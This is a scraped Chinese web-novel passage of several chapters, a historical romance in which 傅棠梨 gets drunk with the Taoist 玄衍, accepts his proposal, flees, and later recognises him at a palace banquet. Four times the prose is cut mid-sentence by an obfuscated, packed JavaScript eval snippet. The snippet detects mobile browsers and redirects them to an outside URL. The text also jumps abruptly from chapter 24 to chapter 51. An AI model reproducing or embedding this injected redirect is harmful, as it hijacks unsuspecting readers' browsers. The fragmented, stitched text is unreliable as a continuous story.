傅棠梨跟在他身后,低下头,摸了摸袖子,糖渍黏在上面,指尖发腻,她慢慢地走着,把袖子揉成一团,捏在了手心里。 —————————— 元宵后,新春便算过去了。 赵元嘉办事不力,被元延帝痛斥了一番。 傅之贺在朝堂上闻得此事,回家与傅棠梨提及:“太子毕竟年轻,未经风浪,偶有不利也是寻常,你抽空过去探视一番,多多劝慰才是。” 傅棠梨温顺地应下,转头向祖父禀明,要去青华山继续拜神祈福,马上收拾了行装,带着一干奴仆,又走了。 山上的雪开始化了,似乎更冷,岚烟淡淡,远树苍苍,山间不知岁月,依旧如冬时。 傅棠梨把埋在树下的梅花酿挖了出来,算了算时间,已经过了头,差点就忘了这事儿。她洗净了坛子上面的雪泥,抱着酒,去云麓观求见玄衍道长。 玄安将她带到当日喝茶的那处雅舍。 玄衍在抚琴,傅棠梨进来的时候,他端坐不动,轻拢慢捻,琴声未歇。 室内无他物,两方席、一张案,一切如旧。 玄安无声地退了出去。 傅棠梨颔首为礼,规规矩矩地跪坐到一旁。 玄衍的曲调一向简单,弦音分明,宛如水流深谷,古朴悠远,带着泠泠的回音。帘外的风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15700012|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拂过,檐角下的铁马轻轻做响,似从旷野而来。 傅棠梨安安静静地听着,直到一曲终了。 “何事?”玄衍将琴推开,自然地问了一句。 好似彼此已经开始熟稔了。 酒坛子放在案几上,傅棠梨轻轻地敲了一下:“春已至,酒酿成,来赴旧约,请道长喝酒。” 室内各色茶具犹在,炭匣、茶釜、罗合、水瓯、高碗等,并红泥小炉。 玄衍并不说话,他一探手,取过酒坛,拍开泥封,将酒水倒入黑陶茶釜,支在炉上加温。 过不多时,釜中泛起绿蚁,酒香飘溢,又有白梅花的气息,似颓靡又似清冷。 玄衍在喝茶用的泥金盏中斟了两盏酒,一人一盏。 他抿了一口,淡淡地道:“汝技艺不佳,此酒太淡,无甚趣味。” “嗯?”傅棠梨有些不服,她生来聪慧,向来没有做不好的事情,这“不佳”二字,断断不能忍,她举起茶盏,抬袖掩嘴,一饮而尽,而后矜持地道,“道长常饮白水,不知个中滋味,此酒甚清冽,云胡不佳?” 玄衍勾起嘴角,露出一点轻微的笑意,不说话,慢慢地将酒饮下。 这梅花酒,傅棠梨是依着桂花米露的法子做的,或许有些不对,玄衍说淡,她却觉得甜,带着花香气,味道十分美妙。 她又将泥金盏满上,喝了一口,悠闲自得:“适才路过梅花林,似见花有凋零之态,冬已过,这一季再不得梅花酿,道长且饮且珍惜。” “山中四时皆有花木,无物不可酿酒,何必拘泥。”玄衍随意地回道。 傅棠梨又喝一盏,竖起一根手指,摇了摇:“然则,道长乃神仙中人,这世间草木皆凡俗,不配、不配,唯有梅花差强人意,堪堪可呈道长座前。” 她的言语温雅,浅笑嫣然,明面上劝酒,自己却喝得十分快活。 大抵是天气暖和起来,道观中的山雀也多了,在廊庑下蹦跳着,偶尔发出一两声鸣叫,活泼又淘气。 梅花酿实在清淡,玄衍尝不出什么酒味,见她喜欢,亦不在意,替她斟了几盏。 不知不觉间,傅棠梨的脸颊泛起了嫣红,此时春未浓,却已有桃花与人面相映照。 炉火太旺、酒温太过,玄衍觉得热了起来,最近似乎有些不妥,无缘无故心思浮动,令人费解。 不想叫她察觉端倪。 他垂下眼帘,沉默着,把玩着手中的泥金盏,等着酒水慢慢凉却。 偏偏傅棠梨却不肯了,她饮尽一杯酒,放下茶盏,还打了个小小的嗝儿:“道长为何不喝酒?”她红了眼角,眸中浮起一层迷离的水光,忽然委屈起来,微微地撅着嘴:“我酿的酒,您不喜欢吗?” 她是不是醉了?玄衍端着严肃的表情看着她。 傅棠梨无辜极了,眼睛睁得圆圆的:“你怎么能不喜欢呢?” 好像确实醉了,这是什么酒量?玄衍不动声色地把酒拿走了,冷静地安抚她:“嗯,尚可。” “只是尚可?不行!”傅棠梨的声音软绵绵的,再没有平日那种端方正经的腔调,比帘子外面的小山雀还娇柔,她还拍了一下案几,“我就要你喜欢。” 她顿了一下,天真地笑了起来,补了一句:“要你很喜欢、很喜欢我,这样才好呢。” 小炉里烧着银丝炭,发出一点“噼啪”的动静,酒在釜中温得太久,冒出了小泡泡,“咕噜咕噜”的,一切都那么寂静,却有心跳如擂鼓,怦怦作响。 或许是听错了? 一瞬间,玄衍屏住了呼吸,一动不动。 22.第 22 章 傅棠梨见他不说话,又不高兴了,娇娇软软地支起身子,想要凑过来:“我费了这么大的工夫,你怎么还这样,不近人情,忒没意思。” 她醉得有些厉害,整个人都摇摇晃晃的,眼见得没稳住,就要一头栽下去。 玄衍眼疾手快,急急伸手,试图扶住她。 傅棠梨迷迷糊糊的,看见一双手伸过来,下意识地拉住了,顺势一扑。 玄衍生平挥斥万军,铁骑踏破千山,未尝有一败,但此刻,却挡不住她那点力气,被她扑倒在地上。 泥金盏滚落,凉酒泼洒在衣襟上。 傅棠梨得意起来,“哼哼”了两声,抓着玄衍的袖子,“吭哧吭哧”地爬到他的胸膛上,用手指头戳了两下,嘀嘀咕咕地埋怨他:“你怎么跌倒了,笨。” 玄衍的胸膛宽阔又厚实,她那么小小的一只,沉甸甸,软乎乎,正好窝在他的心口,他分辨不出那是什么感觉,好似冬天的雪融化、春天的花盛开,胸膛滚烫。 她低下头,望着他,眨了眨眼睛,浓密的睫毛就像小刷子,在他的心口刷了过去,刺刺痒痒。 四下无人,唯有她……唯有她而已。 玄衍觉得口干舌燥,声音也变得沙哑起来:“你知道自己在说什么吗?” 傅棠梨认真地想了一下,又重复了一遍,声音清脆,还有点小得意:“你跌倒了,笨。” 分明问的不是这句,到底是谁笨呢? 玄衍忍不住低低地笑了一声,他慢慢地、慢慢地伸出手去,试探地想要触摸她的脸。 她的肌肤细腻,如同凝固的羊脂,他唯恐弹破,只敢用指尖轻轻地碰了一下。 傅棠梨歪了脑袋,“吧唧”一下,贴了过来,还顺势在他手心蹭了两下,就像廊外的小山雀,恨不得滚上去撒欢。 指尖滚烫,如捧月光。 玄衍的喉结剧烈地滚动了一下,春寒料峭,他却出了一身薄汗,几乎要呻吟出声:“你知道自己在做什么吗?” 这个是知道的,傅棠梨愉悦地又蹭了一下。 男人的手掌宽阔又温暖,上面布满茧子,粗糙又结实,这种感觉十分新鲜。 她笑了起来,眉眼弯弯,用柔软的声音回答他:“我在讨好你,想叫你多喜欢我一点,然后、嗯……” 然后怎样呢?糟糕,有点想不起来了,傅棠梨的脑子里一团糊,她苦恼地皱起眉头,哼哼唧唧的:“然后呢……,等等,我想想……” “嘘,好了,不要再想。”他的手指滑了下来,点了点她的嘴唇,叫她安静下来,好让他可以专注望着她。 她生有殊色,眉眼尤为漂亮,眉色青黛,如望远山,眼若秋水,横波含烟,是的,无一处不好,他很满意。 他出家多年,清心修道,原本无心无欲,如今想来,只是因为未曾遇见她而已,他终究是个年轻的男人,血气充沛,此刻,他只想遵从自己的本能,蓬勃的、汹涌的愿望,席卷而来,令他无从抗拒。 “然后,我娶你,就是如此了。”他是个雷厉风行的人,行事果决,从不拖沓,没有什么可犹豫的,除了她,还能有谁呢? “呃?”傅棠梨瞪圆了眼睛,她的脑子此刻被浆糊黏住了,不好使,但恍惚觉得有些不对劲,费劲地重复了一遍,“你娶我?” “不错。”玄衍一旦下了决断,整个人都觉得轻松了起来,他带着温和的笑容,声音轻缓,“你说天地之大,无家可归,以后我在之处,就是你的家,你说你没人疼爱,以后我来疼你。”他想了想,想起来,低声念了她的名字,“梨花、小梨花……” 嗯,小梨花呀,已经很久没有人这么唤过她了,她很开心,认真地点了点头,对他露出了一个灿烂的笑容。 宛如春光。 他忍不住,手指绕过她的脸颊,捏了捏她的小耳垂。 那种异样的触觉,让傅棠梨打了个哆嗦,她受到惊吓,缩了一下,一不留神,从玄衍的身上滑了下去,跌在地上,人还有些糊涂,甩了甩脑袋,左右张望着,唧唧咕咕的,大约是在纳闷为什么掉下来了。 玄衍长长地叹了一口气,把傅棠梨扶起来,让她坐正,手和脚都端端正正地摆放好,中间她还摇摆了一下,想要贴过来,被他用一个手指头抵住了。 玄衍强做镇定,唤了玄安过来:“女善信喝了自己酿的梅花酒,醉了,去,叫她家人来接。” 玄安立即领命去了。 傅棠梨坐在那里,她的头发有些散了,垂落下来,凌乱地搭在额头上,还有一绺俏皮地翘了起来,她平日最重礼仪,这会儿却并没有察觉,而是眼巴巴地望着玄衍,“嗯”了一声,调子拖得长长的,大抵是在撒娇。 简直叫人无从抵挡。 就连玄衍也不能。 他伸出手,手指捋过她的发丝,一点一点,耐心地为她梳理着,还不忘嘱咐她两句:“你这酒量,真真惹人笑话,记住了,日后不得饮酒,尤其不得在其他男子面前饮酒。” 傅棠梨根本听不懂玄衍在说什么,她被顺毛得很舒服,又忍不住在玄衍的手心里蹭了一下。这会儿她愈发醉得迷糊,脸蛋红扑扑的,像是抹了胭脂,眼睛里水光流动,欲滴不滴的,看过去好似要哭,又透着一股说不出的娇气。 梅花酿还在炉子上温着,越来越浓,酒的香气甜腻而柔和,令人沉醉。 玄衍忽然又叹气了,笑了起来:“算了,无妨,你既嫁我为妻,尽可随心所欲,想如何、便如何,总会有我护着你的,不用担心。” 他挑起她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705120|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一缕发丝,放到唇边,轻轻地碰触了一下,或许,算得上是一个吻,小心翼翼。 她醉了,她头发丝的味道也是甜的。 他的声音低沉,带着隐忍的克制,“三日……三日后,我请长辈去你家中提亲,无论你是何家世,我大抵还是配得上的,小梨花。”他又一次唤了她的小名,很轻,含在舌尖一小会儿,才舍得吐出来,带着柔软的笑意,“你等我。” 傅棠梨已经醉得不行了,她醉的时候,不吵也不闹,就是犯迷糊,呆呆地看着玄衍,他说一句,她就点一下头,听话得很。 多好的女郎,她合他的心意,从头到脚,每根头发丝都讨人喜欢,玄衍想着,又摸了摸她的头发。 过不多时,黛螺和胭脂来了,这两个婢女进来的时候,看见自家娘子坐在那里,安静又乖巧,和平日的正经样子没甚分别,就是脸蛋有点红,眼睛有点湿,笑起来的时候有点傻。 黛螺十分羞愧,向玄衍连连赔罪:“我家娘子酒品差,原先老夫人从来不让她喝酒,谁知道她今日竟然自己喝上了,在道长面前失礼了,尚请海涵。” 玄衍点了点头,居然微笑了一下:“她很好,并无失礼之处。” 道长的态度过于温和,叫黛螺和胭脂有些惊诧,但此时也无暇细究,她们两个扶起傅棠梨,告退回去了。 玄衍亲自将她们送至山门外,临别时,慎重地嘱咐了一句:“回去后,记得提醒你家娘子,勿忘三日之约。” 黛螺与胭脂不明所以,顺口应下了。 —————————— 傅棠梨做了一场梦,檐角下的铁马叮当作响,白梅花的香气冷而微苦,缠绕在她的发鬓间,梦里晴好,日光温煦,而她醒来的时候,天色已经过了黄昏。 隔着画屏,烛光暗淡,在寂静中摇曳不定,让人觉得神思恍惚,依稀梅花香气残冷。 她略微动弹了一下,脑子昏昏沉沉的,忍不住呻吟了一声。 “娘子醒了。” 左右奴婢上前,拢起了床幔,挑亮灯烛,黛螺吩咐仆妇奉上了镜匣、热水、巾帕和醒酒汤等。 黛螺将傅棠梨扶起,先服侍她擦了手脸,又端上醒酒汤,叹气道:“娘子怎么敢在外面喝酒,早先老夫人怎么叮嘱您的,都忘了?” 傅棠梨接过醒酒汤,抿了一口,懒洋洋地道:“只喝那么一点点,有什么要紧?” 胭脂在旁接口道:“娘子就嘴硬,还一点点,您醉得东倒西歪的,人都迷糊了,从云麓观回来的时候,玄衍道长还着意嘱咐我们和您说一声,什么三日之约,您记得吗?” 霍然,只听得“哐当”一声,傅棠梨手里的瓷碗落地,醒酒汤泼洒在裙裾上,湿了一大片。 “娘子?”左右皆惊。 23.第 23 章 傅棠梨仓促起身,走了两步,身形有些踉跄,婢女们急急上前搀扶,她又停住了,摆了摆手。 “娘子您怎么了?有什么不舒服吗?”黛螺和胭脂担忧地望着主人。 傅棠梨慢慢地摇了摇头,她终于记起当时的情形,一时间冒出了涔涔的冷汗,残留的醉意都随之褪去,她僵硬地立在那里,手脚冰凉,心脏剧烈地跳动着,一下一下,几乎要冲破胸膛。 暮色浓到深处便转无了,月华初上,隔着软烟罗的海棠窗棂照进来,和着烛光,把人的影子拉得长长的,博山莲花炉中点着雪中春信,香气将尽,烟絮只有一丝丝,隐没在画屏的绣线中,不可捉摸。 “娘子。”黛螺再次叫了一声。 傅棠梨闭上眼睛,深深地吐出一口气,再睁开时,目光已经一片清明,用平静的声音道:“无妨。” 她神色从容,再无异样,令婢女为她换下那一身泼湿的衣裳,又叫胭脂梳头,一切有条不紊。 只不过坐在妆台前的时候,她望着镜中的自己,突兀地问了一句:“你说,若是道长得知先前种种皆是假象,实则我刻意投其所好,不过试图愚弄他罢了,他待如何?” 胭脂以为娘子是在问自己,她有点摸不着头脑,犹豫着回道:“大约是要生气,或者难过也不定?” 傅棠梨沉默了一下,却喃喃自语道:“生气是必然的,但是,他那样傲气的人,怎么会难过呢,断断是不会的。” 黛螺瞧着傅棠梨的神色似乎有些不对,她心里隐约不安,屏退了闲人,委婉地劝道:“娘子,容我多嘴说几句,您毕竟和太子殿下已经定了婚约,身份矜贵不同常人,若和这位道长牵扯太多,时日久了,说不准要落下什么把柄,留下后患,依我说,您耍得差不多了,不如就此打住。” “你说得很对。”傅棠梨今天难得听劝,居然立即点了头,“不如就此打住。” 原本不过是山中闲暇,聊以取乐,谁知道他竟当了真? 要和他当面分说清楚吗?这个念头只是闪了一下,就被傅棠梨自己断然否决了,或许,是震慑于他强悍的武力,又或许,纯粹只是心虚而已,总之,心生畏惧,不如不见。 她思来想去,轻轻地叹了一口气:“罢了、罢了,终究是我错了,往后可都改了吧。” 黛螺闻言,大感意外,同时也松了一口气。 胭脂为傅棠梨松松地挽了一个单螺髻,斜插了一只素金簪子:“娘子瞧瞧可好,这会儿天色晚了,也不出门,就简单些。” 傅棠梨端详了一下镜中的容颜,手指在镜面上轻轻地敲了一下,低声道:“好,简单些,快刀斩乱麻,就是如此吧。” 她站了起来,双手笼在袖中,挺直了腰,冷静地道:“吩咐下去,收拾一下,全部随我下山回府,这处院子不必留人了,严家的五叔和婶子也一道走。”她顿了一下,环顾左右,补了一句,“马上收拾,今晚就走。” 黛螺和胭脂面面相觑,下面的小婢们也惊疑不定,管事的孙嬷嬷闻讯,赶忙过来劝道:“这会儿天都暗了,山上风大,不说旁的,只担心娘子吹风受凉,不如明儿一早再走。” “马上收拾,今晚就走。”傅棠梨面无表情,只是重复了一遍,语气生硬,没有任何转圜的余地。 娘子一向温善可亲,从来没有这般严厉过。 左右不再敢多说什么,喏喏应是,很快下去各自动作起来,摸约过了小半个时辰,将家什物件都收拾妥当,过来禀了傅棠梨。 轿子在大门外备好了,胭脂为傅棠梨披上那件藕灰缂丝银狐大氅,扶着她出去。 偏偏这会儿天上又下起了小雪,细细碎碎,要湿不湿,有一种黏腻不清的感觉,这大约是这一季最后一次雪了。 黛螺随手取了一柄伞为傅棠梨撑着。 胭脂眼神好,一下就认了出来:“这把伞,恍惚是上回娘子从云麓观带回来的,要叫人拿过去归还吗?” 傅棠梨沉默着,接过了伞,走出大门,远远地望着云麓观的方向。 夜色太沉,而月光朦胧,远山与近树都淡成了斑驳的墨色,其实什么也看不见,想来云麓观后面的梅花已经开始凋落,只有零星的雪点从眼前降落,如同过往种种,浮光掠影。 “你说天地之大,无家可归,以后我在之处,就是你的家,你说你没人疼爱,以后我来疼你。” 他说过的这些话,这会儿想起来,竟然记得格外清晰。 他还叫她“小梨花”。 何其荒唐。 风确实有点大,很冷,她微微仰起脸,雪花落在眉眼间,沾湿了睫毛。 她伫立良久,最终一声叹息,将那把伞合拢起来,放在门边,而后离去了。 —————————— 天放了晴,山间的雪断断续续地在融化,山景都是湿漉漉的,云麓观门前的老松从针尖滴下一点露珠,仿佛逐渐从水底露出青苍的颜色。 玄衍很早就在门前候着,他的身份非同一般,他既在那站着,云麓观的道士无人敢怠慢,个个毕恭毕敬地跟在身后,连青虚子都起了大早,特意换了一身崭新的道袍,陪着玄衍等候。 山路毕竟漫长,到了日禺,才等到人来。 健壮魁梧的侍卫抬着两架八宝琉璃金顶轿子,左右数十奴婢侍奉,皆华服锦饰,奉香炉、宫扇、拂尘等物,后面又扛着十几口紫檀镶金的大箱子,两列卫兵骑马随其后,着玄铁甲、持错金刀,披朱红大氅,个个威风凛然,一起到了云麓观。 玄衍迎上前去,两列卫兵齐齐下马,“刷”地跪下顿首:“参见殿下。” 玄衍略一抬手,卫兵们整齐划一地退下了。 轿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713463|172763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帘掀起,安王和安王妃一起下轿。 玄衍拱手长躬:“今日有劳皇叔。” 安王是当今元延帝的叔父,他年岁已高,掌宗正寺多年,在赵氏皇族中地位超然,备受尊崇,这世间几乎没人能够指派他做事,当然,眼下这个又是例外。 他一把扶住了玄衍,慈祥地道:“你我自家叔侄,五郎不必多礼。” 安王妃扶着婢女的手,走了过来,玄衍亦拜,安王妃倒是不动声色地受了,颔首笑道:“这么多年了,五郎如今要成家了,婶婶很是替你高兴。” 话虽如此说,安王终究不太放心,拉着玄衍的手,走到一旁,慎重问了一句:“五郎,此事关乎终身,非同小可,你可曾请圣上和太后定夺过?” 玄衍轻描淡写地回道,“我出家多年,圣上和太后已经不太管我,待稍后,我向他们禀明既可,不必旁生枝节,只因皇叔乃族中宗老,需您出面向女家提亲,此乃礼数不可废,故而请您过来这一趟。” 安王踌躇片刻,又问了一句,话中别有深意:“你既出家,本应无欲无求,如今骤生尘念,可知他人作何想?” 玄衍的嘴角勾了一下,似乎是笑,但语气只是淡淡的:“当日皇叔亦在场,可为证,我曾发过毒誓,绝无不臣之心,这些年我出家为道,向来静心守持,数次出征,皆临危受命,固非所愿,圣上知我、用我,我唯尽心而已,至于旁人非议,又何足道哉?” 安王听后默然不语,半晌,才长长地叹了一口气:“好,既如此,就依你的心意吧。” 稍后,青虚子带路,领众人去了傅家的那处宅院。 离得近,不多时就到,他十分殷勤:“你们稍候,老道先去叫门。” 玄衍却止住了青虚子,他今日心绪甚佳,不若平时那般冷肃,目光中微微带着几分笑意:“不劳师父,我自去。” 他理了理衣襟,整了整领口,觉得各处妥当了,才举步上前,抬起手来,却突然顿住了。 青虚子见玄衍直直地立在那大门口,半晌不动,心下纳闷,凑过去,奇道:“怎么,有何不妥?你……” 话说到一半,青虚子倏然收了口。 大门紧闭,上面明晃晃地挂着一把铜锁,锁得牢牢的。 青虚子觉得周遭的气氛倏然沉了下来,他心中暗忖不妙,后退了两步,讪讪地道:“这却怪了,怎么还把门锁上了,莫非人家忘了不成?” 安王和安王妃站在稍后的地方,不明所以,对视了一眼,目露惊疑之色。 “取我刀来。”玄衍断然沉声吩咐道。 立即有铁甲卫兵上前,恭敬地捧上一柄长长的横刀。 玄衍接过,抽刀,劈下,一气呵成。寒光闪过,门上的铜锁如同泥巴一样被削成两段,掉了下来。 “吱呀”一声,玄衍推开了门。 24.第 24 章 举目望去,院落空荡,收拾得干干净净,无一人、无一物,唯有门口的玄关边,放着一柄伞。 四下皆静,不闻人声。 玄衍慢慢地走了几步,又停下来,纵然沉稳如他,在此时仿佛也生出了一丝茫然,不愿再前行一步,他笔直地站在院落中央,久久地沉默着。 安王跟了进来,环顾四周,皱起眉头,抬手唤来左右:“仔细看看,此间是否有人?” 卫兵们领命,立即去了。 几十个人一起动起来,里里外外,上上下下,把这宅院四处查找了一遍,几乎翻了底朝天,半天后才来报:“都搜寻过了,灶上不见烟火,房中不见衣饰,确实无人居住。” 玄衍还握着他的横刀,手上青筋凸起,而他的面上没有丝毫表情。 春寒陡峭,此时尤盛,骤然之间,周遭如覆冰霜、如临兵戈,肃杀之气刺人眉睫。 左右卫兵及随从皆低头不敢直视,个个噤若寒蝉,连大气都不敢喘。 安王心中骇然,玄衍平素威烈,杀伐冷酷,旁人皆道其无心无情,此次突然决意娶亲,本来就叫安王诧异,怎料事到临头,那女郎却举家而逃,摆明不过是一场骗局,以玄衍这般高傲的性子,也不知怎么经受得住。 若是那女郎眼下在场,安王定要赞她一声好胆量,浑不畏死,但那罪魁祸首早已逃之夭夭,留下这种尴尬局面,叫安王头皮发麻,他不知该如何开口,只能用求助的目光看了看青虚子。 青虚子早就躲得远远的去了,此时抬头望天,装作什么都不知道。 半晌,还是安王妃上来打圆场,她一向温善可亲,兼之上了年纪,说话更是慢声细气:“可不巧,怎么这会儿主人却不在家,或许是有什么要紧的事儿,临时出门去了,五郎不必着急,不若我们改日再来?” 玄衍这时候却笑了一下,他转过身来,朝安王颔首致意,神色平静,看不出什么不悦的情绪:“我与傅娘子约定今日,必不能负约,她既暂出,我自己在此等候既可,劳烦皇叔和皇婶先随师父去云麓观小憩片刻,待傅娘子归来,我再请两位长辈过来主持大局。” “这……”安王大感踌躇,还待再说两句。 青虚子一把拉住了安王,镇定自若地道:“也好,今日气候甚佳,闲来无事,先请安王殿下去我那里喝茶,来、来、走、走。” 他不由分说,径直拖了安王就走,顺便,把那一干卫兵和随从全部带下去了。 很快,院子里的人退了个干干净净,又静了下来。 玄衍拂了拂衣袖,缓缓地步入正厅,在客人位上坐了下来。 厅堂也收拾得十分整洁,没有多余的摆设,只有角落里放着一尊不起眼的青瓷美人斜肩瓶,插着一枝梅花,已经半谢了。 玄衍将刀放到案上,发出“咯噔”的动静,微微地带了一点回音。 太过安静了,深山寂寥,仿佛这里从来没有人居住过。 他一向好静,在此间却觉得有些难以忍耐。 四瓣海棠窗棂上蒙着细薄的纱罗,日光落进来,空气中的浮尘若有若无,飘忽不定。 她总会回来的吧,就如同她生辰那日,他在雪中等了很久、很久,她终于在黄昏薄暮时来了,他并不是个很有耐心的人,唯独对她,会格外宽容一些。 为什么呢?连他自己也说不清楚。 他想起她跪在雪地里,仰起脸望着他,眼眸含泪。那时候的雪并不大,山间四时皆寒,到了冬天,雪总是下个不停,唯有那一天,落在了他的心上。 风从山林中来,穿堂而过,空空荡荡。 玄衍独自一人,安静地坐在那里。 天色一点一点地暗下来,人的影子被拉得长长的,甚至变得模糊起来。 春山空旷,月出惊了山鸟,偶有几声啼鸣,夜间湿气浓重,白色的月光落下,分辨不出是不是又开始下雪了。 他一直等待着,而她终究没有回来。 —————————— 春寒尚是料峭,毕竟冬天已经过了,曲水边杨柳新绿,燕子归来时,女眷们陆陆续续地结伴出门,或是踏青游乐、或是品茶吟诗,皆十分快活,唯有傅棠梨愈发稳重起来,终日大门不出、二门不迈。 傅方旭只道她贞静恭良,多有嘉许,惹得傅芍药背地里又唠叨了几句。 傅棠梨一概当做不知,缩头躲在自己房中,哪儿都不敢去。 转眼间,早春开始下起了雨,花重长安城,傅棠梨时常在夜里被雨声惊醒。 一卷道经压在枕下,那中间夹着几张符箓,她迷迷糊糊醒来的时候,总是会下意识地伸手去摸一摸,仿佛在梦里又闻到了那种乌木和白梅花混合的香气,带着冰冷的苦味。 春夜漏雨,心思不静,翻来覆去的,再难入眠。 …… 过了些日子,宫中派遣了两位尚仪女官到傅府,向未来的太子妃教授诸般礼仪。 傅棠梨德言容功皆佳,气度端庄娴雅,举止方正若规尺的,对待两位女官温恭客气,执弟子礼,以“老师”呼之。 这样的女郎,没有人不爱的。 尚仪女官在傅府住了几天,挑剔不出什么错处,十分满意,和傅棠梨嘱咐了一些宫中的规矩和琐事,就算交了差事,回到宫中,向沈皇后禀明,傅家二娘子实乃闺阁典范,毋须再多提点。 沈皇后甚慰,自觉眼光颇好,后来,又向冯太后提及此事:“傅二娘子自幼是养在西宁伯老夫人身边,老夫人素有贤名,一个妇道人家,撑住了渭州十年安定,儿臣知道她教出来的小娘子必然是立得起,永嘉生性柔善,身边就要有这么一个贤良的太子妃才好。” 冯太后听罢,颔首道:“你看中的,自然是好的。” 因沈皇后这么一提,到了二月间,冯太后寿辰,便赏了恩典,命傅棠梨入宫赴宴。 元延帝事母至孝,是夜大设华宴,于蓬莱殿中为太后祝寿。 灯火辉煌、脂香弥漫。宫人往来,侍奉兰陵美酒,又有紫驼峰、天鹅炙、金玉脍、水晶鳞等等,说不尽珍稀佳肴。 乐师如云,钟鼓琴瑟齐鸣,百十妙女在堂上做羽衣舞,姿势翩翩若惊鸿,庭下艺人做百戏取乐,鱼龙诸呈。 傅棠梨依旧规规矩矩地坐在沈皇后的身边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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元延帝颔首,捋须而笑:“汝父忠义,汝亦至诚,甚佳。” 李怀恩这才携妻谢恩退下。 接下去又有诸皇子并公主各献寿礼,皆不如临川,不免露出讪讪之色。 太子笑指李怀恩:“怀恩大不该,让后来人难办。” 李怀恩朗爽举起酒杯:“诚小臣之过,当自罚三杯。” 众又大笑,蓬莱殿中一片融洽。 忽闻内侍高声来报:“淮王殿下至。” 殿上众人说话的声音顿时小了下来。 冯太后十分欣喜,又佯装不悦,顾左右道:“这孽障,哀家还当他不来了。” 赵元嘉急急起身,迎了上去,言语殷切:“吾等久候,皇叔何姗姗来迟?” 淮王执掌重兵,征伐四海,战无不胜之绩,元延帝倚之为柱石,威名显赫,又因其铁血铁腕,杀伐浓重,长安时人提及,多有敬畏之意。 傅棠梨不免有几分好奇,抬起头来,朝那边瞥了一下。 只看了那么一眼,她倏然觉得全身的血液都凝固了。 50-60 第51章 第51章太子妃,有人指我与你有…… 门后是条回廊,栏杆处,林婉卿一眼就看到了那个男人的背影,那么高大、那么英挺,他披着一件宽大的裘衣,负手而立,独眺夜雪,风起处,衣襟猎猎,一瞬间,竟有一种览众山而小的威严之势。 林婉卿被胜利的喜悦冲晕了头脑,无暇细想,只怕这个男人逃掉,她扑过去想要抓住他:“就是你,你别走。” 男人侧过身体,拂了拂衣袖,林婉卿的手指从他的袖子上滑过去,没有抓住。 赵元嘉三步并两步冲过来,怒喝道:“什么人?” 而这时,男人已经转过身来,雪落下来,拂过他的眉眼,冰冷彻骨,他俊美无俦,脸色苍白,几疑天上人,远离尘世间。 赵元嘉急急刹住了脚步,讪讪地行礼:“皇叔怎么在此?” 赵上钧看了林婉卿一眼,那种眼神,没有任何情绪,却能令林婉卿浑身的血液都冻结起来,她哆嗦了一下,偷偷地藏到赵元嘉的身后去。 “我在暖阁小饮,见有人至,避出门外,只为清静,谁料尔等呱噪不休,令人生厌。”赵上钧这般冷淡地说道,随手脱下了身上那件乌云豹的裘衣,唤了一声:“玄安。” 赵元嘉这才发现,玄安和玄度二人,一个抱琴,一个捧拂尘,正侍立在稍远处的回廊阶下。 玄安听见传唤,立即上前:“师兄有何吩咐?” 赵上钧在裘衣之下只是随意地披了一件单衫,领口大敞着,露出他宽阔的胸膛,上面隐约可见伤痕,这丝毫无损他的威严,反而加重了那种强悍而肃杀的气息,他将那件裘衣扔给玄安,神情高傲:“那婢子碰过,拿去 烧了。” 玄安应诺了一声,拿着元延帝所赐的乌云豹裘衣下去了。 林婉卿臊得脸皮涨红,快要滴出血来,事到如今,她索性豁出去,不管不顾,拉住赵元嘉的袖子,壮着胆子:“殿下,您信我,我没有看错,方才太子妃确实和一个男人在一起,我若撒谎,管叫我天打雷劈、来日死无葬身之地。” 傅棠梨已经走了过来,她今天的姿态有些异样,步履蹒跚,走得很慢,但仍然是端庄的,她安静地望着眼前的这一切,听到林婉卿这话,连眉毛都没有动弹一根。 赵元嘉半信半疑,看了看林婉卿,又看了看傅棠梨。 林婉卿顿了一下,觑探了赵上钧一眼,自己心里也觉得难以置信,但仍然硬着头皮,意有所指:“也不知道这里除了淮王殿下,还有旁的什么人,得好好搜寻一番。” 高宫正及属下的宫人闻得动静,也从外面簇拥而来,朝赵上钧躬身:“吾等失职,令人惊扰到殿下了,有罪。” 